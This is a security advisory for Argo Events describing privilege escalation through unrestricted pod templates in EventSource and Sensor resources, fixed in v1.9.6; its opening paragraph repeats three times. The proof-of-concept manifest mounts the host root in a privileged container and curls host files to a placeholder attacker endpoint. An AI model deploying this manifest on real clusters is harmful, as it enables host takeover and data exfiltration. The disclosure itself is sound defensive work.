Users can gain privileged access to the host system and cluster with EventSource and Sensor CR

Argo Events is an event-driven workflow automation framework for Kubernetes. A user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges. The EventSource and Sensor CRs allow the corresponding orchestrated pod to be customized with spec.template and spec.template.container (with type k8s.io/api/core/v1.Container), thus, any specification under container such as command, args, securityContext , volumeMount can be specified, and applied to the EventSource or Sensor pod. With these, a user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under template. This vulnerability is fixed in v1.9.6.

Argo Events is an event-driven workflow automation framework for Kubernetes. A user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges. The EventSource and Sensor CRs allow the corresponding orchestrated pod to be customized with spec.template and spec.template.container (with type k8s.io/api/core/v1.Container), thus, any specification under container such as command, args, securityContext , volumeMount can be specified, and applied to the EventSource or Sensor pod. With these, a user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under template. This vulnerability is fixed in v1.9.6.

Argo Events is an event-driven workflow automation framework for Kubernetes. A user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges. The EventSource and Sensor CRs allow the corresponding orchestrated pod to be customized with spec.template and spec.template.container (with type k8s.io/api/core/v1.Container), thus, any specification under container such as command, args, securityContext , volumeMount can be specified, and applied to the EventSource or Sensor pod. With these, a user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under template. This vulnerability is fixed in v1.9.6.

### Summary: A user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges. ### Details: The `EventSource` and `Sensor` CRs allow the corresponding orchestrated pod to be customized with `spec.template` and `spec.template.container` (with type `k8s.io/api/core/v1.Container`), thus, any specification under `container` such as `command`, `args`, `securityContext `, `volumeMount` can be specified, and applied to the EventSource or Sensor pod due to the code logic below. ```golang if args.EventSource.Spec.Template != nil && args.EventSource.Spec.Template.Container != nil { if err := mergo.Merge(&eventSourceContainer, args.EventSource.Spec.Template.Container, mergo.WithOverride); err != nil { return nil, err } } ``` With these, A user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under `template`. Here is an example that demonstrates the vulnerability. ``` apiVersion: argoproj.io/v1alpha1 kind: EventSource metadata: name: poc-vulnerable-eventsource spec: webhook: security-test: port: "12000" endpoint: "/webhook" template: container: image: ubuntu:latest command: ["/bin/bash"] args: [ "-c", "apt-get update && apt-get install -y curl && while true; do rm -f /tmp/data; echo '=== containerd socket ===' > /tmp/data 2>&1; ls -la /host/run/containerd/containerd.sock >> /tmp/data 2>&1; echo '=== proof of host access ===' >> /tmp/data 2>&1; cat /host/etc/hostname >> /tmp/data 2>&1; curl -X POST --data-binary @/tmp/data http://<attacker-controlled-endpoint>:8000/; sleep 300; done" ] securityContext: privileged: true capabilities: add: ["SYS_ADMIN"] volumeMounts: - name: host-root mountPath: /host volumes: - name: host-root hostPath: path: / ``` ### Impact: - Multi-tenant Clusters: - Tenant isolation broken - Non-admin users can gain host/cluster access - Access to other tenants' data - Security Model Bypass: - RBAC restrictions circumvented - Pod Security Policies/Standards bypassed - Host system compromised ### Patches A [patch](https://github.com/argoproj/argo-events/pull/3528) for this vulnerability has been released in the following Argo Events version , which only limited properties under `spec.template.container` are allowed. `v1.9.6` ### Credits This vulnerability was found & reported by: @thevilledev The Argo team would like to thank him for his responsible disclosure and constructive communications during the resolve of this issue.

Argo Events users can gain privileged access to the host system and cluster with EventSource and Sensor CR in github.com/argoproj/argo-events